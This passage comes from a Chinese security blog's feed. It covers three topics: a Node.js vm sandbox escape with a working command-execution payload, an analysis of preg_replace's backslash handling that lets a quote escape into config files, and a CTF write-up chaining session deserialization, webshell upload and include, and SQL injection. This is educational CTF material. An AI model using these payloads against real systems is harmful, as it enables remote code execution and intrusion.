class="comment"> 'escape',</span></span><br><span class="line"><span class="comment"> 'unescape',</span></span><br><span class="line"><span class="comment"> 'eval',</span></span><br><span class="line"><span class="comment"> 'isFinite',</span></span><br><span class="line"><span class="comment"> 'isNaN',</span></span><br><span class="line"><span class="comment"> 'SharedArrayBuffer',</span></span><br><span class="line"><span class="comment"> 'Atomics',</span></span><br><span class="line"><span class="comment"> 'BigInt',</span></span><br><span class="line"><span class="comment"> 'WebAssembly' ]</span></span><br><span class="line"><span class="comment">*/</span></span><br></pre></td></tr></table></figure><p>这些添加的属性与<code>global</code>中的同名属性是不同的对象(内存中位置不同)</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> vm = <span class="built_in">require</span>(<span class="string">'vm'</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> context = {</span><br><span class="line"> animal: <span class="string">'cat'</span>,</span><br><span class="line"> count: <span class="number">2</span></span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> script = <span class="keyword">new</span> vm.Script(<span class="string">`this`</span>);</span><br><span class="line">vm.createContext(context);</span><br><span class="line"><span class="keyword">var</span> result = script.runInContext(context);</span><br><span class="line"><span class="built_in">console</span>.log(result.Function == <span class="built_in">Function</span>); <span class="comment">//false</span></span><br></pre></td></tr></table></figure><h2 id="沙盒逃逸"><a href="#沙盒逃逸" class="headerlink" title="沙盒逃逸"></a>沙盒逃逸</h2><p>虽然存在contextify,vm还是可以很轻松的逃逸出去,因为<code>this.__proto__</code>指向的是主环境的<code>Object.prototype</code></p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> vm = <span class="built_in">require</span>(<span class="string">'vm'</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> context = {</span><br><span class="line"> animal: <span class="string">'cat'</span>,</span><br><span class="line"> count: <span class="number">2</span></span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> script = <span class="keyword">new</span> vm.Script(<span class="string">`this.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString()`</span>);</span><br><span class="line">vm.createContext(context);</span><br><span class="line"><span class="keyword">var</span> result = script.runInContext(context);</span><br><span class="line"><span class="built_in">console</span>.log(result);</span><br></pre></td></tr></table></figure><ul><li>第一步<code>this.constructor.constructor</code>通过继承链最终拿到主环境的<code>Function</code></li><li><code>this.constructor.constructor('return process')()</code>构造了一个函数并执行,拿到主环境的<code>process</code>变量</li><li>通过<code>process.mainModule.require</code>导入<code>child_process</code>模块,命令执行 </li></ul><h1 id="vm2"><a href="#vm2" class="headerlink" title="vm2"></a>vm2</h1><h2 id="代码示例-1"><a href="#代码示例-1" class="headerlink" title="代码示例"></a>代码示例</h2><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> {VM} = <span class="built_in">require</span>(<span class="string">'vm2'</span>);</span><br><span class="line"><span class="keyword">new</span> VM().run(<span class="string">'this.constructor.constructor("return process")().exit()'</span>);</span><br><span class="line"><span class="comment">// Throws ReferenceError: process is not defined</span></span><br></pre></td></tr></table></figure><p>可以看到vm沙盒逃逸的payload已经打不通了</p><h2 id="vm2实现"><a href="#vm2实现" class="headerlink" title="vm2实现"></a>vm2实现</h2><p>这里只关注/lib/main.js 中的<code>VM</code>类和/lib/contextify.js</p><p>具体的代码就不贴了,太多了也没法贴…简单说一下</p><ul><li>使用vm创建新的v8虚拟环境</li><li>在执行用户代码前先在新的V8虚拟环境中运行/lib/contextify.js<ul><li>将<code>this</code>的<code>__proto__</code>修改为新环境中的<code>Object.prototype</code>,这也是为什么vm的exp打不通了</li><li>引入了<a href="https://es6.ruanyifeng.com/#docs/proxy#this-%E9%97%AE%E9%A2%98" target="_blank" rel="noopener">proxy</a>,分为两种:<ul><li>Contextify</li><li>Decontextify</li></ul></li></ul></li></ul><p>发现vm2根本写不清楚…先咕了吧…</p>]]></content>
<summary type="html">
<p>上个月底写了一半给咕了..看到GKCTF有道题涉及到了vm,顺便放出来吧</p>
<p>前段时间hfctf有一道vm2沙盒逃逸的题目,于是顺便研究下vm2的实现和沙盒逃逸的原理</p>
<h1 id="vm"><a href="#vm" class="headerlink"
</summary>
<category term="web安全" scheme="https://liotree.github.io/categories/web%E5%AE%89%E5%85%A8/"/>
<category term="漏洞分析" scheme="https://liotree.github.io/tags/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/"/>
<category term="nodejs" scheme="https://liotree.github.io/tags/nodejs/"/>
</entry>
<entry>
<title>简单分析preg_replace源码</title>
<link href="https://liotree.github.io/2020/04/20/%E7%AE%80%E5%8D%95%E5%88%86%E6%9E%90preg-replace%E6%BA%90%E7%A0%81/"/>
<id>https://liotree.github.io/2020/04/20/%E7%AE%80%E5%8D%95%E5%88%86%E6%9E%90preg-replace%E6%BA%90%E7%A0%81/</id>
<published>2020-04-20T02:18:53.000Z</published>
<updated>2020-04-29T12:32:53.000Z</updated>
<content type="html"><![CDATA[<p>前几天在p神的文章<a href="https://www.leavesongs.com/PENETRATION/thinking-about-config-file-arbitrary-write.html#0x07-define" target="_blank" rel="noopener">经典写配置漏洞与几种变形</a>中看到了一个<code>preg_replace</code>的trick</p><p><img src="/images/define%E5%8D%95%E8%A1%8C%E7%89%88.PNG" alt=""></p><p>看了下这个解法的提出者<a href="https://www.cnblogs.com/iamstudy/articles/config_file_write_vue.html#_label1" target="_blank" rel="noopener">l3m0n师傅</a>也没有给出具体的原理,只是猜测<code>preg_replace</code>做了转义的处理</p><p>但是<code>preg_replace</code>为什么要转义呢?翻看<code>preg_replace</code>的文档可以看到<code>preg_replace</code>的第二个参数<code>replacement</code>有两个特性:</p><blockquote><p>replacement中可以包含后向引用<code>\\n</code> 或<code>$n</code>,语法上首选后者。 每个 这样的引用将被匹配到的第n个捕获子组捕获到的文本替换。 n 可以是0-99,<code>\\0</code>和<code>$0</code>代表完整的模式匹配文本。 捕获子组的序号计数方式为:代表捕获子组的左括号从左到右, 从1开始数</p></blockquote><blockquote><p>如果要在replacement 中使用反斜线,必须使用4个(“<code>\\\\</code>“,译注:因为这首先是php的字符串,经过转义后,是两个,再经过 正则表达式引擎后才被认为是一个原文反斜线)</p></blockquote><p>猜测这个trick与<code>preg_replace</code>的这两个特性有关,具体的原因还需要看看源码</p><h1 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h1><p>windows下调试php需要用到<a href="https://github.com/Microsoft/php-sdk-binary-tools" target="_blank" rel="noopener">php-sdk-binary-tools</a>,具体操作可以参见<a href="https://wiki.php.net/internals/windows/stepbystepbuild_sdk_2" target="_blank" rel="noopener">官方文档</a></p><p>编译的时候需要将文档中的<code>configure --disable-all --enable-cli --enable-$remains</code>换为<code>configure --enable-debug --enable-phpdbg</code></p><p>使用vscode调试编译好的php可以参见<a href="https://cloud.tencent.com/developer/news/286157" target="_blank" rel="noopener">PHP源码调试分析</a></p><p>另外一开始使用vs2017编译时会报错,换成vs2019就行了…</p><h1 id="测试的php代码"><a href="#测试的php代码" class="headerlink" title="测试的php代码"></a>测试的php代码</h1><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line">$replacement = <span class="string"><<<EOT</span></span><br><span class="line"><span class="string">\'</span></span><br><span class="line"><span class="string">EOT;</span></span><br><span class="line">$replacement = addslashes($replacement);</span><br><span class="line"><span class="keyword">echo</span> preg_replace(<span class="string">'/aaa/'</span>,$replacement,<span class="string">"bbbaaab"</span>); <span class="comment">//bbb\\'b</span></span><br></pre></td></tr></table></figure><h1 id="preg-replace实现"><a href="#preg-replace实现" class="headerlink" title="preg_replace实现"></a>preg_replace实现</h1><p><code>preg_replace</code>代码位于ext/pcre/php_pcre.c中的<code>php_pcre_replace_impl</code></p><p>先不贴代码,说下<code>preg_replace</code>的工作流程:</p><ul><li>把<code>bbbaaab</code>拆成<code>bbbaaa</code>和<code>b</code></li><li>把<code>bbbaaa</code>变成<code>bbb\\'</code>(我们关心的部分)</li><li>在<code>bbb\\'</code>后面加上<code>b</code></li></ul><p>第二部分分为两步,主要是两个及其相似的while循环</p><ul><li>计算替换后原有字符串的长度,比如这里<code>bbbaaa</code>变成<code>bbb\\'</code>,<code>new_len</code>就会是6<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">while</span> (walk < replace_end)</span><br><span class="line">{</span><br><span class="line"> <span class="keyword">if</span> (<span class="string">'\\'</span> == *walk || <span class="string">'$'</span> == *walk)</span><br><span class="line"> {</span><br><span class="line"> simple_string = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">if</span> (walk_last == <span class="string">'\\'</span>)</span><br><span class="line"> {</span><br><span class="line"> walk++;</span><br><span class="line"> walk_last = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (preg_get_backref(&walk, &backref))</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (backref < count)</span><br><span class="line"> new_len += offsets[(backref << <span class="number">1</span>) + <span class="number">1</span>] - offsets[backref << <span class="number">1</span>];</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> new_len++;</span><br><span class="line"> walk++;</span><br><span class="line"> walk_last = walk[<span class="number">-1</span>];</span><br><span class="line">}</span><br></pre></td></tr></table></figure></li><li>真正的替换<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">while</span> (walk < replace_end)</span><br><span class="line">{</span><br><span class="line"> <span class="keyword">if</span> (<span class="string">'\\'</span> == *walk || <span class="string">'$'</span> == *walk)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (walk_last == <span class="string">'\\'</span>)</span><br><span class="line"> {</span><br><span class="line"> *(walkbuf - <span class="number">1</span>) = *walk++;</span><br><span class="line"> walk_last = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (preg_get_backref(&walk, &backref))</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (backref < count)</span><br><span class="line"> {</span><br><span class="line"> match_len = offsets[(backref << <span class="number">1</span>) + <span class="number">1</span>] - offsets[backref << <span class="number">1</span>];</span><br><span class="line"> <span class="built_in">memcpy</span>(walkbuf, subject + offsets[backref << <span class="number">1</span>], match_len);</span><br><span class="line"> walkbuf += match_len;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> *walkbuf++ = *walk++;</span><br><span class="line"> walk_last = walk[<span class="number">-1</span>];</span><br><span class="line">}</span><br><span class="line">*walkbuf = <span class="string">'\0'</span>;</span><br><span class="line"><span class="comment">/* increment the result length by how much we've added to the string */</span></span><br><span class="line">result_len += (walkbuf - (ZSTR_VAL(result) + result_len));</span><br><span class="line">}</span><br></pre></td></tr></table></figure></li></ul><p>答案也很明显了,以第二个<code>while</code>循环为例:</p><ul><li><code>walk</code>用于遍历replacement</li><li><code>walk_last</code>记录当前字符的上一个字符</li><li>当<code>walk</code>是<code>'\\'</code>或<code>'$'</code>时会触发反向引用<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//反向引用</span></span><br><span class="line"><span class="keyword">if</span> (preg_get_backref(&walk, &backref))</span><br><span class="line">{</span><br><span class="line"> <span class="keyword">if</span> (backref < count)</span><br><span class="line"> {</span><br><span class="line"> match_len = offsets[(backref << <span class="number">1</span>) + <span class="number">1</span>] - offsets[backref << <span class="number">1</span>];</span><br><span class="line"> <span class="built_in">memcpy</span>(walkbuf, subject + offsets[backref << <span class="number">1</span>], match_len);</span><br><span class="line"> walkbuf += match_len;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure></li><li>连续两个<code>\\</code>就会吞掉一个<code>\\</code>,并且把<code>walk_last</code>置为<code>'\0'</code><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (<span class="string">'\\'</span> == *walk || <span class="string">'$'</span> == *walk)</span><br><span class="line">{</span><br><span class="line"> <span class="keyword">if</span> (walk_last == <span class="string">'\\'</span>)</span><br><span class="line"> {</span><br><span class="line"> *(walkbuf - <span class="number">1</span>) = *walk++;</span><br><span class="line"> walk_last = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure>测试代码中的<code>$replacement</code>经过<code>addslashes</code>后用c字符串表示是<code>"\\\\\\'"</code>,第二个<code>\\</code>会被<code>continue</code>掉,因为这时<code>walk_last</code>变为了<code>'\0'</code>所以第三个<code>\\</code>就被保留了下来。直接输出或者写入到配置文件中就变成了<code>\\'</code>,逃逸出了一个单引号</li></ul><p>之所以有这样的特性就是为了区分反斜线和反向引用,也可以算是一种转义,所以l3m0n师傅的猜测可以说是正确的</p>]]></content>
<summary type="html">
<p>前几天在p神的文章<a href="https://www.leavesongs.com/PENETRATION/thinking-about-config-file-arbitrary-write.html#0x07-define" target="_blank" rel
</summary>
<category term="web安全" scheme="https://liotree.github.io/categories/web%E5%AE%89%E5%85%A8/"/>
<category term="php" scheme="https://liotree.github.io/tags/php/"/>
</entry>
<entry>
<title>XNUCA 2018 hardphp</title>
<link href="https://liotree.github.io/2020/03/12/XNUCA2018hardphp/"/>
<id>https://liotree.github.io/2020/03/12/XNUCA2018hardphp/</id>
<published>2020-03-12T09:25:15.000Z</published>
<updated>2020-03-24T10:28:07.000Z</updated>
<content type="html"><![CDATA[<p>简单说下题目的情况:</p><ul><li>能够上传任意后缀文件,但存在.htaccess无法执行php</li><li>session会被写入到mysql中</li><li>登录时会写入<code>$_SESSION['data']</code>和<code>$_SESSION['username']</code><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$session = <span class="keyword">new</span> Session($res[<span class="number">0</span>][<span class="string">"id"</span>],time(),$ip,$userAgent);</span><br><span class="line">$_SESSION[<span class="string">'data'</span>] = serialize($session);</span><br><span class="line">$_SESSION[<span class="string">'username'</span>] = $username;</span><br></pre></td></tr></table></figure></li><li>使用session时会对<code>$_SESSION['data']</code>进行反序列化<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$session = unserialize($_SESSION[<span class="string">"data"</span>],[<span class="string">"allowed_classes"</span> => [<span class="string">"Session"</span>]]);</span><br><span class="line"><span class="comment">//反序列化出的对象只能是Session类的实例</span></span><br></pre></td></tr></table></figure></li><li>存在一个全局过滤<code>escape()</code>,无法直接注入(非预期解情况除外)<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">escape</span><span class="params">(&$arg)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"><span class="keyword">if</span> (is_array($arg)) {</span><br><span class="line"><span class="keyword">foreach</span> ($arg <span class="keyword">as</span> &$value) {</span><br><span class="line">escape($value);</span><br><span class="line">}</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line">$arg = str_replace([<span class="string">"'"</span>, <span class="string">'\\'</span>, <span class="string">'('</span>, <span class="string">')'</span>], [<span class="string">"‘"</span>, <span class="string">'\\\\'</span>, <span class="string">'('</span>, <span class="string">')'</span>], $arg);</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure></li></ul><h1 id="预期解"><a href="#预期解" class="headerlink" title="预期解"></a>预期解</h1><h2 id="session反序列化字符串逃逸"><a href="#session反序列化字符串逃逸" class="headerlink" title="session反序列化字符串逃逸"></a>session反序列化字符串逃逸</h2><p>之前见到的反序列化字符逃逸都是有一个字符串替换的的过滤函数的,这题则是利用mysql中<code>\\</code>写入后变为<code>\</code>进行字符逃逸</p><p>在<code>$_SESSION['data']</code>注入多个<code>\</code>,当session序列从mysql中取出进行反序列化的时候就会发生字符逃逸,我们可以让<code>$_SESSION['username']</code>中的内容暴露出来,从而伪造想要的<code>$_SESSION['data']</code>(后面的data能够覆盖前面的data)</p><p>控制了<code>$_SESSION['data']</code>就可以用<code>unserialize</code>进行反序列化了</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$session = unserialize($_SESSION[<span class="string">"data"</span>],[<span class="string">"allowed_classes"</span> => [<span class="string">"Session"</span>]]);</span><br><span class="line"><span class="comment">//反序列化出的对象只能是Session类的实例</span></span><br></pre></td></tr></table></figure><p>问题在于<code>allowed_classes</code>限制了只能是Session类的实例</p><h2 id="PHP动态调用静态方法"><a href="#PHP动态调用静态方法" class="headerlink" title="PHP动态调用静态方法"></a>PHP动态调用静态方法</h2><p>在后面调用了<code>$session</code>的一个静态方法</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">$this</span>->now = $session::getTime(time());</span><br></pre></td></tr></table></figure><p>php可以通过字符串动态调用静态方法</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">A</span></span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span class="title">test</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"hacked"</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">B</span></span>{</span><br><span class="line"> <span class="keyword">public</span> $name = <span class="string">"i am b"</span>;</span><br><span class="line">}</span><br><span class="line">unserialize(serialize(<span class="string">"A"</span>),[<span class="string">"allowed_classes"</span> => [<span class="string">"B"</span>]])::test();</span><br><span class="line"><span class="comment">// hacked</span></span><br></pre></td></tr></table></figure><p>如果存在一个有静态方法<code>getTime</code>的类,我们就可以unserialize出一个内容为类名的字符串,动态调用<code>getTime</code>方法</p><p>不过很遗憾,php内置类中并没有这样的类</p><h2 id="类自动加载getshell"><a href="#类自动加载getshell" class="headerlink" title="类自动加载getshell"></a>类自动加载getshell</h2><p>/lib/core.php 存在一个自动类加载,用来实现路由功能</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">spl_autoload_register(<span class="string">'inner_autoload'</span>);</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">inner_autoload</span><span class="params">($class)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"><span class="keyword">global</span> $__module, $__custom;</span><br><span class="line">$class = str_replace(<span class="string">"\\"</span>, <span class="string">"/"</span>, $class);</span><br><span class="line"><span class="keyword">foreach</span> (<span class="keyword">array</span>(<span class="string">'model'</span>, <span class="string">'include'</span>, <span class="string">'controller'</span> . (<span class="keyword">empty</span>($__module) ? <span class="string">''</span> : DS . $__module), $__custom) <span class="keyword">as</span> $dir) {</span><br><span class="line">$file = APP_DIR . DS . $dir . DS . $class . <span class="string">'.php'</span>;</span><br><span class="line"><span class="keyword">if</span> (file_exists($file)) {</span><br><span class="line"><span class="keyword">include</span> $file;</span><br><span class="line"><span class="keyword">return</span>;</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>当php在原文件中没有找到使用的类时就会调用这个<code>inner_autoload</code>去包含对应的php文件</p><p>并且可以通过get参数s控制<code>$__custom</code>,从而控制文件包含的目录</p><p>所以我们可以上传一个webshell,反序列化webshell文件名的字符串,使<code>inner_autoload</code>去包含webshell</p><h2 id="攻击流程"><a href="#攻击流程" class="headerlink" title="攻击流程"></a>攻击流程</h2><ul><li>上传webshell,记录文件名,如<code>ud3fzhlbc8vdggy2p4p3xv3g66v1nw3u.php</code></li><li>注册一个名为<code>;data|s:40:"s:32:"ud3fzhlbc8vdggy2p4p3xv3g66v1nw3u";</code>的用户</li><li>登录该用户时把user-agent改为<code>\\\\\\\\\\\\\\\\</code>,这时session会存入数据库</li><li>这时会跳转到/main/index,抓包修改跳转到<code>/main/index?s=img/upload/</code>,同时user-agent要改成空(因为session反序列化后里面记录的user-agent会是空,要求user-agent与session里面的一致)</li></ul><h1 id="非预期解"><a href="#非预期解" class="headerlink" title="非预期解"></a>非预期解</h1><p>非预期解没有利用反序列化字符逃逸,而是直接sql注入修改session</p><ul><li><p>waf并没有对数组的key进行过滤</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">escape</span><span class="params">(&$arg)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"><span class="keyword">if</span> (is_array($arg)) {</span><br><span class="line"><span class="keyword">foreach</span> ($arg <span class="keyword">as</span> &$value) {</span><br><span class="line">escape($value);</span><br><span class="line">}</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line">$arg = str_replace([<span class="string">"'"</span>, <span class="string">'\\'</span>, <span class="string">'('</span>, <span class="string">')'</span>], [<span class="string">"‘"</span>, <span class="string">'\\\\'</span>, <span class="string">'('</span>, <span class="string">')'</span>], $arg);</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>serialize会把数组的key和value一起序列化,如果能传入数组就可以在key的位置注入<code>'</code></p></li><li><p>写入session的时候ip和user-agent使用了<code>arg()</code>来获取</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">arg</span><span class="params">($name, $default = null, $trim = false)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>($_REQUEST[$name])) {</span><br><span class="line">$arg = $_REQUEST[$name];</span><br><span class="line">} <span class="keyword">elseif</span> (<span class="keyword">isset</span>($_SERVER[$name])) {</span><br><span class="line">$arg = $_SERVER[$name];</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line">$arg = $default;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span> ($trim) {</span><br><span class="line">$arg = trim($arg);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> $arg;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>可以看到如果post或者get一个User-Agent是可以覆盖掉http headers中的User-Agent的,而且post和get是可以传入一个数组的</p></li></ul><p>登陆的时候会调用<code>MySessionHandler</code>类的<code>write</code>方法将session写入mysql</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">write</span><span class="params">($session_id,$data)</span></span>{</span><br><span class="line"></span><br><span class="line"> $time = time();</span><br><span class="line"> $res = <span class="keyword">$this</span>->dbsession->query(<span class="string">"SELECT * FROM `{$this->dbsession->table_name}` where `sessionid` = '{$session_id}' "</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>($res){</span><br><span class="line"> <span class="keyword">$this</span>->dbsession->execute(<span class="string">"UPDATE `{$this->dbsession->table_name}` SET `data` = '{$data}',`lastvisit` = '{$time}' where `sessionid` = '{$session_id}'"</span>);</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> </span><br><span class="line"> $res = <span class="keyword">$this</span>->dbsession->create(</span><br><span class="line"> [<span class="string">"data"</span>=>$data,</span><br><span class="line"> <span class="string">"sessionid"</span>=>$session_id,</span><br><span class="line"> <span class="string">"lastvisit"</span>=>$time]);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">true</span>;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>可以得到一个update型的注入,从而伪造session,后面和预期解一样</p>]]></content>
<summary type="html">
<p>简单说下题目的情况:</p>
<ul>
<li>能够上传任意后缀文件,但存在.htaccess无法执行php</li>
<li>session会被写入到mysql中</li>
<li>登录时会写入<code>$_SESSION[&#39;data&#39;]</code>和
</summary>
<category term="CTF" scheme="https://liotree.github.io/categories/CTF/"/>
<category term="writeup" scheme="https://liotree.github.io/tags/writeup/"/>
<category term="反序列化" scheme="https://liotree.github.io/tags/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
<category term="sql注入" scheme="https://liotree.github.io/tags/sql%E6%B3%A8%E5%85%A5/"/>
<category term="文件包含" scheme="https://liotree.github.io/tags/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/"/>
</entry>
<entry>
<title>web刷题记录</title>
<link href="https://liotree.github.io/2020/03/12/web%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95/"/>
<id>https://liotree.github.io/2020/03/12/web%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95/</id>
<published>2020-03-12T09:25:11.000Z</published>
<updated>2020-04-12T15:13:52.000Z</updated>
